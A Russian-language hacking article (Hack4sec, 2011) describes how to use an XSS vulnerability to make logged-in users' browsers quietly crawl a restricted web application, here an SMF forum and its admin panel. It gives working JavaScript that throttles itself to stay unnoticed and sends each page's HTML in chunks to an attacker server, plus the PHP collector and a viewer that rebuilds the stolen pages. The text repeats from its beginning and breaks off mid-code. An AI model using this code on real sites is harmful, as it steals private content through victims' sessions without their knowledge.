Здравствуйте. Рады представить вам статью одного из наших участников на тему нестандартного использования XSS-уязвимостей. В ней рассказывается как с помощью нехитрого JS-кода и простого PHP-приложения получать визуальные копии целых веб-приложений от лица сторонних пользователей.
Рекомендуем сразу качать PDF-вариант чтоб читать материал в нормальном оформлении и с адекватной шириной страницы.
Автор: Кузьмин Антон anton.kuzmin.russia@gmail.com http://anton-kuzmin.blogspot.com/
Команда: Hack4sec hack4sec.team@gmail.com http://hack4sec.blogspot.com/
Дата: 30-05-2011
PDF-вариант: https://hack4sec.opendrive.com/files?29123800_FYGqD
Здравствуйте. В данной статье я хочу привести один не стандартный пример использования XSS-уязвимостей. По крайней мере раньше я ни разу не видел чтоб подобные вещи где-то описывались.
Представим себе следующую ситуацию. Есть сайт victim.xss. На нём располагается 2 веб-приложения. Одно не совсем важное для вас, имеющее XSS-уязвимость (пассивную/активную — не важно). К нему доступ у вас есть. И одно которое вас очень интересует, но доступа к которому вы не имеете (при обращении сервер возвращает код 403 или 401). Кроме того, вы даже не знаете как оно устроено внутри и что из себя представляет. При этом попытки кражи идентификационных данных тех людей, которые этот доступ имеют, ничего не дают — cookies идут с флагом HTTP-only, а веб-сервер не поддерживает метод TRACE, авторизированные сессии привязываются к IP-адресам или доступ к приложению ограничен по IP. Вообщем, если что и делать, то только используя обнаруженную в первом приложении XSS, заставлять браузеры имеющих доступ пользователей выполнять необходимые вам действия. Но какие? Ведь структуры второго приложения вы не знаете.
Решение здесь одно — пользуясь браузерами авторизованных лиц узнать содержимое страниц закрытого приложения. Из содержимого станет понятна его структура (ссылки, контент), а зная её можно строить дальнейший план действий.
Теперь вопрос за технической стороной. Здесь есть два варианта. Первый — «смотреть» страницы поодиночке. То есть код, помещённый через XSS в первое приложение, будет запрашивать интересующую ссылку с сервера атакующего, как-то её открывать (XHR/IFRAME) и передавать содержимое хозяину. Затем атакующий выбирает из полученного следующую ссылку, и так раз за разом приложение потихоньку будет «раскрываться». Это хоть и медленный вариант (его практическое применение может растянуться на недели), но зато самый лёгкий в реализации и полностью безопасный за счёт своей точечности для целевого приложения. Ведь каждый раз атакующий сам будет выбирать какую страницу просматривать.
Второй — «смотреть» страницы рекурсивно по нескольку штук, передавая полученные коды на сервер для исследования хозяином. Скорость данного варианта очень высока и полное раскрытие структуры приложения, при его большом размере, может занять менее дня (при интенсивном использовании со стороны клиентов). Но здесь есть и свои подводные камни. Например, можно случайно пройти по ссылке удаления чего-нибудь. Тем не менее, ниже я опишу именно этот вариант.
Подготовка
Итак, что нам понадобится? Для начала нужно создать 2 виртуальных хоста — victim.xss и interceptor.xss. Первый будет играть роль жертвы, второй — координационного сервера. В корне victim.xss нужно разместить файл xss-page.html. Он будет имитировать уязвимую к XSS-атакам страницу. Затем нужно установить приложение которое мы будем исследовать. Представим что доступа туда у нас нет. Я взял на эту роль форум SMF 1.13 и поместил его в директорию /forum/. После установки не забудьте войти в его админ-панель, чтоб при проведении экспериментов код-исследователь мог пролезть и туда. Далее на victim.xss разместите скрипт jQuery. Я решил использовать его, а не «голый» JS, просто для экономии времени и упрощения кода. К тому же сейчас на многих сайтах стоят различные JS-фреймворки которые при работе с XSS могут очень сильно облегчить нападающему жизнь.
Работа наша будет проходить следующим образом. В xss-page.html помещаем нужный код, открываем его в браузере который уже авторизирован на форуме и смотрим результат. Кстати, для слежения за результатами хорошо подойдёт FireBug со своим логированием сетевой активности.
Вот начальный код xss-page.html:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<a href="/forum/index.php">Закрытое приложение</a>
<script type="text/javascript" src="/jquery-1.6.1.min.js"></script>
<script type="text/javascript">
alert('XSS');
</script>
</body>
</html>
Вместо «alert('XSS');» мы и будем размещать всё что нам понадобится.
Пока мы не начали основное действо нужно сделать небольшое отступление. Дело в том, что реализовать всё вышеописанное можно двумя способами — используя или XHR или Iframe. В самом начале работы над статьёй я выбрал второй вариант из-за его иллюзорной простоты. Судите сами — или работать через XHR и извлекать ссылки для последующего обхода с помощью регулярных выражений, либо работать с Iframe и доставать необходимые данные уже обращаясь к DOM документа, что само по себе легче, особенно с jQuery. Но не всё так просто, как кажется на первый взгляд. Перейти на XHR меня заставил тот факт что iframe нельзя заставить работать синхронно со скриптами. К тому же при попытке логирования происходящих действий я заметил очень странное поведение iframe`а — при открытии множества страниц с разными URL под ряд он по нескольку раз открывал одни и те же страницы, хотя такого вообще быть не должно. Причину я найти так и не смог, и в итоге решил просто обратиться к XHR.
Пользовательская часть. Сбор ссылок.
Приступим. Для начала необходимо объявить 2 глобальных массива, в первый из которых мы будем складывать ссылки для исследования, а во второй поместим уже исследованные адреса, дабы избежать повторений. Как вы наверное уже догадались, при большом объёме (в плане контента) целевого приложения второй массив будет постоянно расти и расти, что может негативно сказаться на размерах потребляемой браузером памяти. По другому, к сожалению, никак. Можно, конечно, поработать над уменьшением объёма хранимой информации (например хранить не ссылки, а их хеши), но эта тема выходит за рамки данной статьи.
Итак. Назовём эти массивы links, и checked.
var links = [];
var checked = [];
Теперь нужно создать несколько функций по работе с ними. Адреса для проверки нам потребуется и добавлять, и удалять из соответствующего массива. А вот проверенные ссылки мы будем только добавлять. Кроме этого нам понадобится функция проверки адресов на наличие в массиве checked. Исходя из этих требований напишем 4 небольшие функции.
function delLink(link) {
// Если ссылка есть в общем массиве удаляем её
if($.inArray(link, links) != -1)
links.splice($.inArray(link, links), 1);
}
function addLink(link) {
// Если ссылки в общем массиве нет, и она не относится к проверенным,
// то мы можем её добавить
if($.inArray(link, links) == -1 && !isChecked(link))
links[links.length] = link;
}
function addChecked(link) {
// Если ссылки в массиве проверенных нет, можно добавлять её туда
if($.inArray(link, checked) == -1)
checked[checked.length] = link;
}
function isChecked(link) {
return $.inArray(link, checked) != -1;
}
Теперь объявим переменную limit. В неё поместим число ссылок, которое будет проверять атакуемый браузер за один раз. Оно обязательно должно быть небольшим чтоб не создавать пользователю лишних проблем.
var limit = 30;
И можем приступать к основной работе. Для её начала нам нужно иметь хотя бы одну ссылку. Её можно взять с сервера атакующего, а можно получить самостоятельно, что мы и сделаем. Как раз на xss-page.html имеется одна ссылка ведущая на интересующее нас приложение. Получим её вот так:
$('a').each(function(){
if(this.href.indexOf('http://' + window.location.hostname) != -1 &&
this.href != window.location.href)
{
addLink(this.href);
}
});
Возможно вас удивит первое условие — наличие фрагмента «http://текущий-хост» в начале ссылки. Оно здесь потому, что мы работаем с DOM. А раз так, то получаем уже не то что написано в «href», а полноценные адреса подготовленные браузером, начинающиеся с «http://».
После того как исходные ссылки готовы, мы можем приступать к основным действиям. Для этого вызовем один раз функцию parseNextLink(). Как видно из её названия, обрабатывать ссылки мы будем по одиночке. Это даст нам полный контроль над ситуацией и снимет нагрузку на браузер, который при асинхронной проверке (и обработке содержимого) 30-50 ссылок начинает заметно тормозить. Что она будет делать? Вначале она проверит на истинность два условия: есть ли непроверенные ссылки в соответствующем массиве, и достигло ли количество ссылок в checked значения обозначенного в limit. Если хоть одно условие верно, функция прекращает работу кода. Если оба из них ложны — вызовет getLinks(), объявление которой описано ниже.
function parseNextLink() {
if(checked.length >= limit || !links.length)
return;
// Проверяем последнюю ссылку из links
getLinks(links[links.length-1]);
}
Ну и самая главная функция, которая будет проверять страницы и получать с них новые ссылки, - getLinks().
function getLinks(url) {
addChecked(url); // Отмечаем эту ссылку как проверенную
delLink(url); // Удаляем её из нуждающихся в проверке
$.ajax({
url: url,
type: 'get',
async: false,
dataType: 'html',
success: function(data){
// Тут код извлечения ссылок из ответа
}
});
parseNextLink();
}
Как видите, работает она в синхронном режиме. Сразу по завершении своей работы (ответ получен и обработан) вызывается parseNextLink(), которая, если не прервёт работу, то этой же функции передаст новую ссылку для проверки.
Теперь стоит подробнее рассмотреть код обработки полученных данных. В его начале запустим бесконечный цикл извлечения ссылок по регулярному выражению. Он остановится только тогда, когда из текущего ответа не будет более извлечено совпадений.
var hrefRegexp = /href=['"](.*?)['"]/ig;
while(true) {
var result = hrefRegexp.exec(data);
if(result == null) break;
...
}
При таком регулярном выражении exec() будет возвращать массив из двух ячеек с индексами 0 и 1. В первой будет лежать всё совпадение вместе с «href=», а во второй только содержимое «href='...'». Оно нам и нужно
var link = result[1];
Теперь один очень важный момент. Чтоб наш код случайно не открыл ссылку выхода из аккаунта, очистки cookies или ещё чего вредного, нам нужно соорудить механизм игнорирования неугодных адресов. Сделаем это так. Объявим глобальный массив с выражениями, присутствующими в таких ссылках.
var ignore = ["logout","delete"];
А при обработке данных обойдём его, и поищем совпадения в текущем результате.
for(ign in ignore) {
if(link.indexOf(ignore[ign]) != -1) {
link = ''; // Пустой она дальше никуда не пройдёт
break;
}
}
Следующим шагом нам необходимо подстраховаться от дублей ссылок с «#». По сути для GET-запросов, которые мы шлём по средствам XHR, ссылки типа
http://victim.com/index.php
http://victim.com/index.php#aaa
Абсолютно одинаковы. Их содержимое может различаться только тогда, когда в зависимости от того что идёт после # страница на клиентской стороне меняется сама. Чтоб это произошло её надо обработать, а в нашем случае никакой обработки браузером получаемых страниц не происходит. Следовательно, нужно от таких ссылок избавляться. Сделаем это простым вырезанием всего что идёт после #.
link = (link.indexOf("#") != -1) ? link.substr(0, link.indexOf("#")) : link;
Ну и теперь ссылку можно помещать в общий массив, предварительно проверив её на принадлежность нашему целевому хосту.
if(link.indexOf('http://' + window.location.hostname) == 0)
addLink(link);
Обратите внимание на то, что эта проверка может не сработать на других приложениях. SMF сам во все свои ссылки подставляет текущий хост, а, например, тот же phpBB3 этого не делает.
Ну вот и всё. Часть отвечающая за сбор ссылок готова. Теперь при запуске скрипт будет наполнять массивы links и checked рекурсивно обходя найденные URL. Убедиться в том что всё идёт верно можно с помощью вызова console.log() в нужных местах скрипта, ну и поглядывая в сетевой монитор FireBug.
Пользовательская часть. Отчётность.
На данный момент выполнена лишь половина всей работы. Очередь за отправкой данных на сторону сервера, который подконтролен атакующему. Здесь, опять же, есть 2 варианта действий. Во-первых, можно создать на странице невидимый iframe, через изменение его html-кода создать внутри него форму, направленную на нужный сервер, заполнить необходимыми данными (код страницы, её URL) и отправить методом POST. А можно сделать эту же операцию, но с помощью JS-класса Image(). То есть создавать для каждой страницы изображение, указывать в его свойстве src путь к серверу, и в этот путь ещё помещать данные для передачи типа
http://interceptor.com/log.php?url=...&code=...
На самом деле первый вариант только кажется простым. При его реализации возникает множество проблем. Например отправив первую форму нужно снова очистить iframe и «нарисовать» вторую, что нельзя будет сделать из-за Same Orign Policy, ведь в нём уже будут данные с другого сервера. Можно конечно изменить src на адрес принадлежащий целевому домену, дождаться загрузки и взяться менять код уже тогда, но это целая куча действий, которых в случае с Image() можно вообще не производить. Поэтому мы всё сделаем именно с помощью этого JS-класса.
Здесь стоит остановиться и вспомнить про то, что при передаче исходных кодов в URL можно нарваться на ошибку «414 Request-URL Too Long». Чтоб такого не произошло, мы будем слать код на сервер по частям. То есть делать несколько запросов под ряд. А количество символов передаваемого за раз кода обозначим в соответствующей глобальной переменной.
var transferCodeLen = 1000;
На стандартной конфигурации Apache этого числа вполне достаточно. И теперь опишем саму функцию передачи данных. Она будет принимать url передаваемой страницы (чтоб на сервере можно было связать принимаемый код с отдельной ссылкой) и её html-код.
function sendToInterceptor(url, html) {
var img = new Image;
do {
img.src = "http://interceptor.xss/intercept.php?url=" + escape(url) + "&html=" + escape(html.substr(0, transferCodeLen));
html = html.substr( transferCodeLen );
} while ( html.length > 0 );
}
Как видите, всё до безобразия просто — режем код на куски и, пока он не кончится, по очереди запрашиваем получившиеся URL на сервере-перехватчике.
Теперь займёмся скриптом intercept.php. Он будет делать простейшую вещь — принимать 2 уже известных вам параметра, записывать ссылку в ./urls.txt (там будут собираться адреса всех принятых ссылок), а html-содержимое вносить в файл ./pages/md5-хеш-url.
$url = urldecode($_GET['url']);
$hash = md5($url);
file_put_contents("./pages/$hash", urldecode($_GET['html']), FILE_APPEND);
file_put_contents("./urls.txt", $url . "\n", FILE_APPEND);
Обратите внимание на то, что содержимое страниц постоянно дозаписывается. То есть перед каждым полностью новым запуском атаки нужно будет очищать содержимое папки pages.
Вернёмся к JS. Вызов функции sendToInterceptor() необходимо поместить прямо после окончания while-цикла обработки ссылок. Когда он закончился самое время отправить полученный html-код перехватчику т. к. далее произойдёт проверка следующего адреса.
Серверная часть. Сохранение результатов.
Следующий этап — сохранение состояния сканирования и последующее к нему возвращение. Вы же помните что в самом начале мы объявляли переменную limit, призванную сделать работу нашего кода практически незаметной? Естественно когда пользователь зайдёт на данную страницу ещё раз (то есть снова вызовет наш код) мы должны продолжить сканирование именно с того места, где остановились в прошлый раз. Следовательно, нам нужно как-то передать на сторону клиента старые массивы links и checked. Последний мы уже можем передавать т. к. его содержимое это фактически содержимое файла ./urls.txt. А вот первым сейчас и займёмся. Для этого напишем функцию report(). Она объединит всё содержимое links в одну строку, и уже знакомым нам методом передаст на сервер.
function report() {
links = escape(links.join("|||"));
var img = new Image;
do {
img.src = "http://interceptor.xss/command.php?act=save&links=" + links.substr(0, transferCodeLen);
links = links.substr( transferCodeLen );
} while ( links.length > 0 );
}
Её вызов нужно поместить в parseNextLink(), как раз перед единственным «return;» останавливающем всю работу.
Теперь возьмёмся за скрипт command.php. Он будет выполнять такие действия как сохранение материала и отдача клиенту данных прошлого сканирования. Сохранение происходит крайне просто:
switch($_GET['act']) {
case 'save':
$links = urldecode($_GET['links']);
file_put_contents("./links.txt", $links, FILE_APPEND);
break;
}
А вот над выдачей старых данных придётся немного поработать. Из основного кода уберём объявление массивов links и checked, и заменим их script-тегом, обращающимся к interceptor.xss.
<script type="text/javascript" src="http://interceptor.xss/command.php?act=get"></script>
В command.php, в случае приёма «get», считаем данные из urls.txt и links.txt, превратим их в массивы, переведём в JSON и выведем на экран, предварительно подписав в начале «var имя-переменной =»
if(file_exists("./links.txt") AND filesize("./links.txt") > 0) {
$links = file_get_contents("./links.txt");
$links = explode("|||", $links);
$links = json_encode($links);
} else $links = "[]";
print "var links = $links;";
if(file_exists("./urls.txt") AND filesize("./urls.txt") > 0) {
$checked = file("./urls.txt");
$checked = array_map('trim', $checked);
$checked = json_encode($checked);
} else $checked = "[]";
print "var checked = $checked;";
Возможно вас смутят строки типа
} else $links = "[]";
Я тоже сначала подумал что можно через json_encode() прогнать пустой массив и получится что-то типа
var links = [];
Но это не так. Получается
var links = [""];
А эта пустая ячейка только создаст нам проблем. И в конце этого кода необходимо очистить ./links.txt, ведь скоро придёт новая партия ссылок и они будут уже совсем другими.
file_put_contents("./links.txt", "");
В возвращении списка проверенных ссылок есть один нюанс. Функция parseNextLink() проверяет достижение лимита именно по количеству записей в checked. А как только сканирование пойдёт второй раз (checked уже будет иметь количество ссылок размером в лимит) лимит нам необходимо будет увеличить, чтоб работа сразу же не остановилась. Поэтому в начало кода, после описания переменной limit, добавим вот такую строку:
limit = checked.length + limit;
Вы наверное уже догадались что с ./urls.txt необходимо тоже что-то делать. Там постоянно будут скапливаться повторяющиеся URL. Ими мы займёмся в самом конце, когда содержимое links уже будет сохранено. Для этого отведём отдельную ячейку нашего основного switch, которая будет выполнятся если в параметре «act» будет передано слово «end».
if(file_exists("./urls.txt") AND filesize("./urls.txt") > 0) {
$urls = file("./urls.txt");
$urls = array_map('trim', $urls);
$urls = array_unique($urls);
file_put_contents("./urls.txt", implode("\n", $urls));
}
А вызов всего этого поместим в конце уже описанной функции report():
img.src = "http://interceptor.xss/command.php?act=end";
Итак. Основная часть работы полностью закончена. Что у нас есть? При первом обращении клиент начинает новое сканирование, стартовыми ссылками при котором являются те, что расположены на уязвимой странице. В процессе сканирования на сервер-перехватчик передаётся содержимое всех страниц к которым он обращается. В конце серверу отправляются ссылки которые стояли в очереди, но из-за достижения лимита не смогли быть проверены. При последующих просмотрах уязвимой страницы сканирование уже будет продолжаться с того места, где оно закончилось в прошлый раз.
На данный момент у нас имеется полностью рабочий вариант кода позволяющего записывать содержимое страниц получаемых от чужого лица (или, правильнее сказать, от чужого браузера). Остаётся только один небольшой штрих. Чтоб XSS-вставка не растягивалась на один script-тег и огромный кусок JS-кода, мы поместим его на сервер intercept.xss, в файл /static.js, а при запросе действия «get», сразу после вывода содержимого двух основных массивов, добавим строку
readfile("./static.js");
Теперь XSS-вставка на уязвимой странице состоит только из одного script-тега, что вполне приемлемо для реальных условий.
Серверная часть. Просмотр результатов.
Наконец перейдём к визуализации всего что получено нашим скриптом. Выглядеть это будет так. При обращении к определённому скрипту (назовём его view.php) будет отображаться страница с двумя фреймами, в первом из которых будет расположен список доступных ссылок, а во втором по мере запросов будет отображаться их содержимое. Основу view.php будет составлять массив шаблонов, хранящий в себе все необходимые html-конструкции, и одна switch-конструкция, которая в зависимости от значения параметра «act» будет выполнять те или иные действия. Если этого параметра не будет передано вообще, то скрипт отобразит набор фреймов.
<?php
$tpl = array();
$tpl['up'] = <<<HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Просмотр страниц</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
HTML;
$tpl['down'] = <<<HTML
</html>
HTML;
$tpl['frames'] = <<<HTML
{$tpl['up']}
<frameset cols="350,*">
<frame src="/view.php?act=menu" name="leftFrame" scrolling="yes"/>
<frame src="/view.php?act=blank" name="mainFrame" />
</frameset>
{$tpl['down']}
HTML;
$act = isset($_GET['act']) ? $_GET['act'] : '';
switch($act) {
default:
print $tpl['frames'];
break;
}
Если в «act» будет передано «menu» мы считаем все ссылки из urls.txt и выведем их по отдельному шаблону.
$urls = file("./urls.txt");
foreach(array_map('trim', $urls) as $url)
printf($tpl['url'], md5($url), $url);
Сам шаблон:
$tpl['url'] = <<<HTML
<a href="/view.php?act=view&page=%s" target="mainFrame" style="font-size:10px;">%s</a><br />
HTML;
В шаблоне фреймов видно что есть ещё и вариант параметра «act» с содержимым «blank». Это начальная страница нашего просмотрщика. Вот её шаблон:
$tpl['blank'] = <<<HTML
{$tpl['up']}
<body>
Выберите URL для просмотра
</body>
{$tpl['down']}
HTML;
и код
print $tpl['blank'];
Ну и самый последний шаг — просмотр перехваченных страниц. Здесь всё достаточно тривиально. Выше вы видели что при открытии страницы скрипту передаётся её хеш. То есть для начала нам нужно просто получить содержимое одного файла из директории pages.
$content = file_get_contents("./pages/" . $_GET['page']);
$content = stripslashes($content); // Удаляем слеши оставленные escape()
Затем следует один интересный момент. Мы заменим в этом коде ссылки имеющиеся у нас в ./urls.txt на ссылки к скрипту view.php. Это сильно улучшит навигацию по перехваченному контенту, ведь искать каждый раз интересующую вас ссылку в левом меню довольно надоедливое занятие. А так вы сможете просто кликнуть по ней как будто вы работаете непосредственно с атакованным приложением.
$urls = file("./urls.txt");
foreach(array_map('trim', $urls) as $url)
$content = str_replace("\"$url\"", "/view.php?act=view&page=" . md5($url), $content);
Стоит остановиться на кавычках в первом аргументе str_replace(). В нашем случае они двойные т. к. в ссылках SMF содержимое параметра «href» обрамляется именно ими. В других случаях кавычки могут быть одинарные, или их вообще может не быть. Если же производить замену без их учёта, просто меняя один URL на другой, то можно столкнуться с ситуацией, когда у вас в ссылках замене подвергнется лишь часть. Например ссылка
http://site.com/index.php?a=1&b=2
будет «изломана» view.php-аналогом ссылки
http://site.com/index.php?a=1
Поэтому данный фрагмент кода, как и некоторые описанные до этого, требуют подгонки под конкретное приложение.
И теперь завершающий штрих, опять же, улучшающий навигацию. Мы вновь обратимся к jQuery. Будем подключать его к каждой отображаемой странице, а следом за ним выведем код, который все ссылки, не содержащие фразу «view.php?act=view», перечеркнёт. Таким образом мы сразу будем видеть те ссылки, содержимым которых мы владеем.
Вот html-шаблон:
$tpl['links-script'] = <<<HTML
<script type="text/javascript" src="/jquery-1.6.1.min.js"></script>
<script type='text/javascript'>
$('a').each(function(){
if(this.href.indexOf('view.php?act=view') == -1) {
$(this).css('text-decoration', 'line-through');
}
});
</script>
HTML;
А вод код, которым должно кончаться действие view:
print "$content\n{$tpl['links-script']}";
Пример того что получается в итоге:
На скриншоте хорошо видно что JS-код смог пробраться даже в админ-панель и считать оттуда пару страниц. Обратите внимание - отображение страничек полностью идентично натуральному. Как будто мы находимся непосредственно внутри форума. Так получилось потому что внутри параметров href были найдены ссылки на css-стили, которые, соответственно, были автоматически нашим кодом подгружены. С victim.xss тут запрашиваются только картинки. Хотя вы можете модифицировать всё вышеприведённое таким образом, чтоб с целевого приложения «забирались» ещё и графические элементы.
Напоследок.
И напоследок хотелось бы сказать о нескольких важных моментах. Первый. В конце страниц SMF находится JS-код, вызывающий сильное торможение при отображении в просмотрщике. Кончается всё тем, что Firefox предлагает попросту остановить выполнение сценариев. Он идёт перед самым последним div`ом, содержащим текст «Loading...». Лучше его автоматически вырезать при записи в директорию pages.
Второй. Для быстрого тестирования результата повышайте лимит адресов до 100 или даже 200. Но при этом не забывайте отключать FireBug. При таком количестве запросов он будет страшно тормозить браузер.
Ну и третий. Не следует использовать данный материал в целях противоречащих нашим законам. Он опубликован лишь как небольшое собственное исследование и только для ознакомления.
Файлы к данной статье можно скачать по ссылке https://hack4sec.opendrive.com/files/?29121529_Qt7zi
Рекомендуем сразу качать PDF-вариант чтоб читать материал в нормальном оформлении и с адекватной шириной страницы.
Автор: Кузьмин Антон anton.kuzmin.russia@gmail.com http://anton-kuzmin.blogspot.com/
Команда: Hack4sec hack4sec.team@gmail.com http://hack4sec.blogspot.com/
Дата: 30-05-2011
PDF-вариант: https://hack4sec.opendrive.com/files?29123800_FYGqD
Здравствуйте. В данной статье я хочу привести один не стандартный пример использования XSS-уязвимостей. По крайней мере раньше я ни разу не видел чтоб подобные вещи где-то описывались.
Представим себе следующую ситуацию. Есть сайт victim.xss. На нём располагается 2 веб-приложения. Одно не совсем важное для вас, имеющее XSS-уязвимость (пассивную/активную — не важно). К нему доступ у вас есть. И одно которое вас очень интересует, но доступа к которому вы не имеете (при обращении сервер возвращает код 403 или 401). Кроме того, вы даже не знаете как оно устроено внутри и что из себя представляет. При этом попытки кражи идентификационных данных тех людей, которые этот доступ имеют, ничего не дают — cookies идут с флагом HTTP-only, а веб-сервер не поддерживает метод TRACE, авторизированные сессии привязываются к IP-адресам или доступ к приложению ограничен по IP. Вообщем, если что и делать, то только используя обнаруженную в первом приложении XSS, заставлять браузеры имеющих доступ пользователей выполнять необходимые вам действия. Но какие? Ведь структуры второго приложения вы не знаете.
Решение здесь одно — пользуясь браузерами авторизованных лиц узнать содержимое страниц закрытого приложения. Из содержимого станет понятна его структура (ссылки, контент), а зная её можно строить дальнейший план действий.
Теперь вопрос за технической стороной. Здесь есть два варианта. Первый — «смотреть» страницы поодиночке. То есть код, помещённый через XSS в первое приложение, будет запрашивать интересующую ссылку с сервера атакующего, как-то её открывать (XHR/IFRAME) и передавать содержимое хозяину. Затем атакующий выбирает из полученного следующую ссылку, и так раз за разом приложение потихоньку будет «раскрываться». Это хоть и медленный вариант (его практическое применение может растянуться на недели), но зато самый лёгкий в реализации и полностью безопасный за счёт своей точечности для целевого приложения. Ведь каждый раз атакующий сам будет выбирать какую страницу просматривать.
Второй — «смотреть» страницы рекурсивно по нескольку штук, передавая полученные коды на сервер для исследования хозяином. Скорость данного варианта очень высока и полное раскрытие структуры приложения, при его большом размере, может занять менее дня (при интенсивном использовании со стороны клиентов). Но здесь есть и свои подводные камни. Например, можно случайно пройти по ссылке удаления чего-нибудь. Тем не менее, ниже я опишу именно этот вариант.
Подготовка
Итак, что нам понадобится? Для начала нужно создать 2 виртуальных хоста — victim.xss и interceptor.xss. Первый будет играть роль жертвы, второй — координационного сервера. В корне victim.xss нужно разместить файл xss-page.html. Он будет имитировать уязвимую к XSS-атакам страницу. Затем нужно установить приложение которое мы будем исследовать. Представим что доступа туда у нас нет. Я взял на эту роль форум SMF 1.13 и поместил его в директорию /forum/. После установки не забудьте войти в его админ-панель, чтоб при проведении экспериментов код-исследователь мог пролезть и туда. Далее на victim.xss разместите скрипт jQuery. Я решил использовать его, а не «голый» JS, просто для экономии времени и упрощения кода. К тому же сейчас на многих сайтах стоят различные JS-фреймворки которые при работе с XSS могут очень сильно облегчить нападающему жизнь.
Работа наша будет проходить следующим образом. В xss-page.html помещаем нужный код, открываем его в браузере который уже авторизирован на форуме и смотрим результат. Кстати, для слежения за результатами хорошо подойдёт FireBug со своим логированием сетевой активности.
Вот начальный код xss-page.html:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<a href="/forum/index.php">Закрытое приложение</a>
<script type="text/javascript" src="/jquery-1.6.1.min.js"></script>
<script type="text/javascript">
alert('XSS');
</script>
</body>
</html>
Вместо «alert('XSS');» мы и будем размещать всё что нам понадобится.
Пока мы не начали основное действо нужно сделать небольшое отступление. Дело в том, что реализовать всё вышеописанное можно двумя способами — используя или XHR или Iframe. В самом начале работы над статьёй я выбрал второй вариант из-за его иллюзорной простоты. Судите сами — или работать через XHR и извлекать ссылки для последующего обхода с помощью регулярных выражений, либо работать с Iframe и доставать необходимые данные уже обращаясь к DOM документа, что само по себе легче, особенно с jQuery. Но не всё так просто, как кажется на первый взгляд. Перейти на XHR меня заставил тот факт что iframe нельзя заставить работать синхронно со скриптами. К тому же при попытке логирования происходящих действий я заметил очень странное поведение iframe`а — при открытии множества страниц с разными URL под ряд он по нескольку раз открывал одни и те же страницы, хотя такого вообще быть не должно. Причину я найти так и не смог, и в итоге решил просто обратиться к XHR.
Пользовательская часть. Сбор ссылок.
Приступим. Для начала необходимо объявить 2 глобальных массива, в первый из которых мы будем складывать ссылки для исследования, а во второй поместим уже исследованные адреса, дабы избежать повторений. Как вы наверное уже догадались, при большом объёме (в плане контента) целевого приложения второй массив будет постоянно расти и расти, что может негативно сказаться на размерах потребляемой браузером памяти. По другому, к сожалению, никак. Можно, конечно, поработать над уменьшением объёма хранимой информации (например хранить не ссылки, а их хеши), но эта тема выходит за рамки данной статьи.
Итак. Назовём эти массивы links, и checked.
var links = [];
var checked = [];
Теперь нужно создать несколько функций по работе с ними. Адреса для проверки нам потребуется и добавлять, и удалять из соответствующего массива. А вот проверенные ссылки мы будем только добавлять. Кроме этого нам понадобится функция проверки адресов на наличие в массиве checked. Исходя из этих требований напишем 4 небольшие функции.
function delLink(link) {
// Если ссылка есть в общем массиве удаляем её
if($.inArray(link, links) != -1)
links.splice($.inArray(link, links), 1);
}
function addLink(link) {
// Если ссылки в общем массиве нет, и она не относится к проверенным,
// то мы можем её добавить
if($.inArray(link, links) == -1 && !isChecked(link))
links[links.length] = link;
}
function addChecked(link) {
// Если ссылки в массиве проверенных нет, можно добавлять её туда
if($.inArray(link, checked) == -1)
checked[checked.length] = link;
}
function isChecked(link) {
return $.inArray(link, checked) != -1;
}
Теперь объявим переменную limit. В неё поместим число ссылок, которое будет проверять атакуемый браузер за один раз. Оно обязательно должно быть небольшим чтоб не создавать пользователю лишних проблем.
var limit = 30;
И можем приступать к основной работе. Для её начала нам нужно иметь хотя бы одну ссылку. Её можно взять с сервера атакующего, а можно получить самостоятельно, что мы и сделаем. Как раз на xss-page.html имеется одна ссылка ведущая на интересующее нас приложение. Получим её вот так:
$('a').each(function(){
if(this.href.indexOf('http://' + window.location.hostname) != -1 &&
this.href != window.location.href)
{
addLink(this.href);
}
});
Возможно вас удивит первое условие — наличие фрагмента «http://текущий-хост» в начале ссылки. Оно здесь потому, что мы работаем с DOM. А раз так, то получаем уже не то что написано в «href», а полноценные адреса подготовленные браузером, начинающиеся с «http://».
После того как исходные ссылки готовы, мы можем приступать к основным действиям. Для этого вызовем один раз функцию parseNextLink(). Как видно из её названия, обрабатывать ссылки мы будем по одиночке. Это даст нам полный контроль над ситуацией и снимет нагрузку на браузер, который при асинхронной проверке (и обработке содержимого) 30-50 ссылок начинает заметно тормозить. Что она будет делать? Вначале она проверит на истинность два условия: есть ли непроверенные ссылки в соответствующем массиве, и достигло ли количество ссылок в checked значения обозначенного в limit. Если хоть одно условие верно, функция прекращает работу кода. Если оба из них ложны — вызовет getLinks(), объявление которой описано ниже.
function parseNextLink() {
if(checked.length >= limit || !links.length)
return;
// Проверяем последнюю ссылку из links
getLinks(links[links.length-1]);
}
Ну и самая главная функция, которая будет проверять страницы и получать с них новые ссылки, - getLinks().
function getLinks(url) {
addChecked(url); // Отмечаем эту ссылку как проверенную
delLink(url); // Удаляем её из нуждающихся в проверке
$.ajax({
url: url,
type: 'get',
async: false,
dataType: 'html',
success: function(data){
// Тут код извлечения ссылок из ответа
}
});
parseNextLink();
}
Как видите, работает она в синхронном режиме. Сразу по завершении своей работы (ответ получен и обработан) вызывается parseNextLink(), которая, если не прервёт работу, то этой же функции передаст новую ссылку для проверки.
Теперь стоит подробнее рассмотреть код обработки полученных данных. В его начале запустим бесконечный цикл извлечения ссылок по регулярному выражению. Он остановится только тогда, когда из текущего ответа не будет более извлечено совпадений.
var hrefRegexp = /href=['"](.*?)['"]/ig;
while(true) {
var result = hrefRegexp.exec(data);
if(result == null) break;
...
}
При таком регулярном выражении exec() будет возвращать массив из двух ячеек с индексами 0 и 1. В первой будет лежать всё совпадение вместе с «href=», а во второй только содержимое «href='...'». Оно нам и нужно
var link = result[1];
Теперь один очень важный момент. Чтоб наш код случайно не открыл ссылку выхода из аккаунта, очистки cookies или ещё чего вредного, нам нужно соорудить механизм игнорирования неугодных адресов. Сделаем это так. Объявим глобальный массив с выражениями, присутствующими в таких ссылках.
var ignore = ["logout","delete"];
А при обработке данных обойдём его, и поищем совпадения в текущем результате.
for(ign in ignore) {
if(link.indexOf(ignore[ign]) != -1) {
